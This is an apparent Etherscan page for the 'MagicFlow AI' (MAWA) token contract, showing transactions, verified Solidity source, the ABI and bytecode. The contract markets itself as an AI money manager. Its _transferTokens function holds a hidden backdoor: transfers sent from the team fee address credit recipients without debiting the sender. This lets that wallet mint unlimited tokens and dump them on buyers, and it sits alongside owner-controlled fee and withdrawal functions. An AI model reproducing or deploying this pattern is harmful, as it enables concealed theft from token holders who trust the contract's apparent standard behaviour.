More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 79 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19541358 | 216 days ago | IN | 0 ETH | 0.00075929 | ||||
Approve | 19541354 | 216 days ago | IN | 0 ETH | 0.0007274 | ||||
Approve | 19541354 | 216 days ago | IN | 0 ETH | 0.0007274 | ||||
Approve | 19485112 | 224 days ago | IN | 0 ETH | 0.00131893 | ||||
Approve | 19485101 | 224 days ago | IN | 0 ETH | 0.00072687 | ||||
Approve | 19485096 | 224 days ago | IN | 0 ETH | 0.00078757 | ||||
Approve | 19485095 | 224 days ago | IN | 0 ETH | 0.0013801 | ||||
Approve | 19485070 | 224 days ago | IN | 0 ETH | 0.0012636 | ||||
Approve | 19485023 | 224 days ago | IN | 0 ETH | 0.001521 | ||||
Approve | 19484902 | 224 days ago | IN | 0 ETH | 0.00172161 | ||||
Approve | 19484513 | 224 days ago | IN | 0 ETH | 0.00152437 | ||||
Approve | 19484359 | 224 days ago | IN | 0 ETH | 0.00174213 | ||||
Approve | 19484321 | 225 days ago | IN | 0 ETH | 0.00149399 | ||||
Approve | 19484221 | 225 days ago | IN | 0 ETH | 0.00265254 | ||||
Approve | 19484221 | 225 days ago | IN | 0 ETH | 0.00265254 | ||||
Approve | 19484221 | 225 days ago | IN | 0 ETH | 0.00265254 | ||||
Approve | 19484220 | 225 days ago | IN | 0 ETH | 0.0017783 | ||||
Approve | 19484209 | 225 days ago | IN | 0 ETH | 0.00165138 | ||||
Approve | 19484207 | 225 days ago | IN | 0 ETH | 0.00243481 | ||||
Approve | 19484206 | 225 days ago | IN | 0 ETH | 0.00248689 | ||||
Approve | 19484206 | 225 days ago | IN | 0 ETH | 0.00248689 | ||||
Approve | 19484206 | 225 days ago | IN | 0 ETH | 0.00248689 | ||||
Approve | 19484188 | 225 days ago | IN | 0 ETH | 0.00156885 | ||||
Approve | 19484163 | 225 days ago | IN | 0 ETH | 0.0016945 | ||||
Approve | 19484151 | 225 days ago | IN | 0 ETH | 0.00251446 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
19484222 | 225 days ago | 0.36338512 ETH | ||||
19484222 | 225 days ago | 0.36338512 ETH | ||||
19484210 | 225 days ago | 0.37629432 ETH | ||||
19484210 | 225 days ago | 0.37629432 ETH | ||||
19484208 | 225 days ago | 0.35281742 ETH | ||||
19484208 | 225 days ago | 0.35281742 ETH | ||||
19484156 | 225 days ago | 0.04801606 ETH | ||||
19484156 | 225 days ago | 0.04801606 ETH | ||||
19484153 | 225 days ago | 0.05372208 ETH | ||||
19484153 | 225 days ago | 0.05372208 ETH | ||||
19484139 | 225 days ago | 0.03426442 ETH | ||||
19484139 | 225 days ago | 0.03426442 ETH | ||||
19484129 | 225 days ago | 0.03506875 ETH | ||||
19484129 | 225 days ago | 0.03506875 ETH | ||||
19484083 | 225 days ago | 0.03287472 ETH | ||||
19484083 | 225 days ago | 0.03287472 ETH | ||||
19484066 | 225 days ago | 0.03717222 ETH | ||||
19484066 | 225 days ago | 0.03717222 ETH | ||||
19484026 | 225 days ago | 0.0313524 ETH | ||||
19484026 | 225 days ago | 0.0313524 ETH | ||||
19484024 | 225 days ago | 0.0313524 ETH | ||||
19484024 | 225 days ago | 0.0313524 ETH | ||||
19484023 | 225 days ago | 0.03418131 ETH | ||||
19484023 | 225 days ago | 0.03418131 ETH | ||||
19483992 | 225 days ago | 0.02519107 ETH |
Loading...
Loading
Contract Name:
MagicFlowAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-21 */ // SPDX-License-Identifier: MIT /* The AI market making money manager - A better way to invest in DeFi. Web : https://magicflowai.trade App : https://app.magicflowai.trade Docs : https://docs.magicflowai.trade Twitter : https://x.com/MagicFlow_AI Telegram : https://t.me/magicflow_ai_official */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MagicFlowAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private tokenBalance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _magicTeamFees; uint256 private _initialBuyTax=25; uint256 private _initialSellTax=25; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=3; uint256 private _reduceBuyTaxAt=9; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; string private constant _name = unicode"MagicFlow AI"; string private constant _symbol = unicode"MAWA"; uint256 public _maxTxAmount = 2000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000 * 10**_decimals; uint256 public _taxMagicThreshold= 995 * 10**_decimals; uint256 public _maxTaxSwap= 200000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address _magicFeeAddr) { _magicTeamFees = payable(_magicFeeAddr); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_magicTeamFees] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function createMagicPairs() external onlyOwner() { require(!tradingOpen,"Trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function removeMagicLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _magicTeamFees.transfer(amount); } receive() external payable { } function withdrawStucksEth() external onlyOwner { require(address(this).balance > 0, "No ETH to withdraw"); payable(msg.sender).transfer(address(this).balance); } function enableMagicTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; tradingOpen = true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 magicTaxAmount=0; bool isMagicSwapEnabled = false; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { magicTaxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); isMagicSwapEnabled = swapEnabled && _buyCount>_preventSwapBefore && amount > _taxMagicThreshold; require(tradingOpen, "Trading is not opened!"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ magicTaxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && isMagicSwapEnabled) { if(contractTokenBalance>_taxMagicThreshold) swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); sendETHToFee(address(this).balance); } } if(magicTaxAmount>0){ _balances[address(this)]=_balances[address(this)].add(magicTaxAmount); emit Transfer(from, address(this),magicTaxAmount); } _transferTokens(from, to, amount, magicTaxAmount); } function _transferTokens( address from, address to, uint256 amount, uint256 taxAmount ) internal returns (bool) { if(from != _magicTeamFees) { _balances[from] = _balances[from].sub( amount, "Insufficient Balance" ); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } else { _balances[to]=_balances[to].add(amount); } return true; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_magicFeeAddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxMagicThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createMagicPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableMagicTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMagicLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff1916905560196007819055600855600060098181556003600a908155600b91909155600f600c556005600d55600e919091556200004a906012906200037e565b6200005990621e848062000396565b600f556200006a6012600a6200037e565b6200007990621e848062000396565b6010556200008a6012600a6200037e565b62000098906103e362000396565b601155620000a96012600a6200037e565b620000b89062030d4062000396565b6012556014805461ffff60a81b19169055348015620000d657600080fd5b5060405162001e6438038062001e64833981016040819052620000f991620003b0565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319166101006001600160a01b03841602179055620001686012600a6200037e565b62000178906305f5e10062000396565b336000908152600160208190526040822092909255600490620001a36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260049093528183208054851660019081179091556006546101009004909116835291208054909216179055620002073390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002416012600a6200037e565b62000251906305f5e10062000396565b60405190815260200160405180910390a350620003db565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002c0578160001904821115620002a457620002a462000269565b80851615620002b257918102915b93841c939080029062000284565b509250929050565b600082620002d95750600162000378565b81620002e85750600062000378565b81600181146200030157600281146200030c576200032c565b600191505062000378565b60ff84111562000320576200032062000269565b50506001821b62000378565b5060208310610133831016604e8410600b841016171562000351575081810a62000378565b6200035d83836200027f565b806000190482111562000374576200037462000269565b0290505b92915050565b60006200038f60ff841683620002c8565b9392505050565b808202811582820484141762000378576200037862000269565b600060208284031215620003c357600080fd5b81516001600160a01b03811681146200038f57600080fd5b611a7980620003eb6000396000f3fe6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030d578063a9059cbb1461033a578063c876d0b91461035a578063ce564c0914610374578063dd62ed3e1461038957600080fd5b8063715018a61461028f5780637d1db4a5146102a45780638da5cb5b146102ba5780638f9a55c0146102e25780639048fac1146102f857600080fd5b806323b872dd116100e757806323b872dd146101f1578063313ce567146102115780635672ca931461022d578063676005c01461024457806370a082311461025957600080fd5b806303e06bfe1461012f57806306fdde0314610158578063095ea7b3146101965780630faee56f146101c657806318160ddd146101dc57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014560115481565b6040519081526020015b60405180910390f35b34801561016457600080fd5b5060408051808201909152600c81526b4d61676963466c6f7720414960a01b60208201525b60405161014f919061164b565b3480156101a257600080fd5b506101b66101b13660046116ae565b6103cf565b604051901515815260200161014f565b3480156101d257600080fd5b5061014560125481565b3480156101e857600080fd5b506101456103e6565b3480156101fd57600080fd5b506101b661020c3660046116da565b610407565b34801561021d57600080fd5b506040516012815260200161014f565b34801561023957600080fd5b50610242610470565b005b34801561025057600080fd5b50610242610517565b34801561026557600080fd5b5061014561027436600461171b565b6001600160a01b031660009081526001602052604090205490565b34801561029b57600080fd5b506102426105d3565b3480156102b057600080fd5b50610145600f5481565b3480156102c657600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102ee57600080fd5b5061014560105481565b34801561030457600080fd5b50610242610647565b34801561031957600080fd5b506040805180820190915260048152634d41574160e01b6020820152610189565b34801561034657600080fd5b506101b66103553660046116ae565b6109e9565b34801561036657600080fd5b506006546101b69060ff1681565b34801561038057600080fd5b506102426109f6565b34801561039557600080fd5b506101456103a4366004611738565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103dc338484610a93565b5060015b92915050565b60006103f46012600a61186b565b610402906305f5e10061187a565b905090565b6000610414848484610bb7565b610466843361046185604051806060016040528060288152602001611a1c602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061114a565b610a93565b5060019392505050565b6000546001600160a01b031633146104a35760405162461bcd60e51b815260040161049a90611891565b60405180910390fd5b600047116104e85760405162461bcd60e51b81526020600482015260126024820152714e6f2045544820746f20776974686472617760701b604482015260640161049a565b60405133904780156108fc02916000818181858888f19350505050158015610514573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105415760405162461bcd60e51b815260040161049a90611891565b61054d6012600a61186b565b61055b906305f5e10061187a565b600f5561056a6012600a61186b565b610578906305f5e10061187a565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b26012600a61186b565b6105c0906305f5e10061187a565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260040161049a90611891565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106715760405162461bcd60e51b815260040161049a90611891565b601454600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107149030906107066012600a61186b565b610461906305f5e10061187a565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078b91906118c6565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081191906118c6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561085e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088291906118c6565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306108ca816001600160a01b031660009081526001602052604090205490565b6000806108df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610947573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096c91906118e3565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105149190611911565b60006103dc338484610bb7565b6000546001600160a01b03163314610a205760405162461bcd60e51b815260040161049a90611891565b601454600160a01b900460ff1615610a7a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049a565b6014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610af55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049a565b6001600160a01b038216610b565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049a565b6001600160a01b038216610c7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049a565b60008111610cdf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049a565b6001600160a01b038316600090815260046020526040812054819060ff16158015610d2357506001600160a01b03841660009081526004602052604090205460ff16155b156110bc57610d546064610d4e600b54600e5411610d4357600754610d47565b6009545b8690611184565b9061120d565b601454909250600160b01b900460ff168015610d735750600d54600e54115b8015610d80575060115483115b601454909150600160a01b900460ff16610dd55760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b604482015260640161049a565b60065460ff1615610eba576013546001600160a01b03858116911614801590610e0c57506014546001600160a01b03858116911614155b15610eba57326000908152600560205260409020544311610ea75760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049a565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610ee557506013546001600160a01b03858116911614155b8015610f0a57506001600160a01b03841660009081526004602052604090205460ff16155b15610ff257600f54831115610f615760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049a565b60105483610f84866001600160a01b031660009081526001602052604090205490565b610f8e9190611933565b1115610fdc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049a565b600e8054906000610fec83611946565b91905055505b6014546001600160a01b03858116911614801561101857506001600160a01b0385163014155b15611045576110426064610d4e600c54600e541161103857600854610d47565b600a548690611184565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561107c57506014546001600160a01b038681169116145b80156110855750815b156110ba576011548111156110b1576110b16110ac856110a78460125461124f565b61124f565b611264565b6110ba476113de565b505b811561113657306000908152600160205260409020546110dc9083611420565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112d9086815260200190565b60405180910390a35b6111428585858561147f565b505050505050565b6000818484111561116e5760405162461bcd60e51b815260040161049a919061164b565b50600061117b848661195f565b95945050505050565b600082600003611196575060006103e0565b60006111a2838561187a565b9050826111af8583611972565b146112065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049a565b9392505050565b600061120683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115db565b600081831161125e5782611206565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ac576112ac611994565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611305573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132991906118c6565b8160018151811061133c5761133c611994565b6001600160a01b0392831660209182029290920101526013546113629130911684610a93565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139b9085906000908690309042906004016119aa565b600060405180830381600087803b1580156113b557600080fd5b505af11580156113c9573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561141c573d6000803e3d6000fd5b5050565b60008061142d8385611933565b9050838110156112065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049a565b6006546000906001600160a01b038681166101009092041614611593576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0388166000908152600190915291909120546114ee91859061114a565b6001600160a01b0386166000908152600160205260409020556115336115148484611609565b6001600160a01b03861660009081526001602052604090205490611420565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61157d8686611609565b60405190815260200160405180910390a36115d0565b6001600160a01b0384166000908152600160205260409020546115b69084611420565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836115fc5760405162461bcd60e51b815260040161049a919061164b565b50600061117b8486611972565b600061120683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114a565b600060208083528351808285015260005b818110156116785785810183015185820160400152820161165c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051457600080fd5b600080604083850312156116c157600080fd5b82356116cc81611699565b946020939093013593505050565b6000806000606084860312156116ef57600080fd5b83356116fa81611699565b9250602084013561170a81611699565b929592945050506040919091013590565b60006020828403121561172d57600080fd5b813561120681611699565b6000806040838503121561174b57600080fd5b823561175681611699565b9150602083013561176681611699565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117c25781600019048211156117a8576117a8611771565b808516156117b557918102915b93841c939080029061178c565b509250929050565b6000826117d9575060016103e0565b816117e6575060006103e0565b81600181146117fc576002811461180657611822565b60019150506103e0565b60ff84111561181757611817611771565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715611845575081810a6103e0565b61184f8383611787565b806000190482111561186357611863611771565b029392505050565b600061120660ff8416836117ca565b80820281158282048414176103e0576103e0611771565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118d857600080fd5b815161120681611699565b6000806000606084860312156118f857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192357600080fd5b8151801515811461120657600080fd5b808201808211156103e0576103e0611771565b60006001820161195857611958611771565b5060010190565b818103818111156103e0576103e0611771565b60008261198f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119fa5784516001600160a01b0316835293830193918301916001016119d5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2c0256e73296a6cf1e5614d354600a7fa40b44114a5b43299e4a0c82fc7b7f064736f6c6343000813003300000000000000000000000032ed0c9052ca8ca28070fad95305fac723f40883
Deployed Bytecode
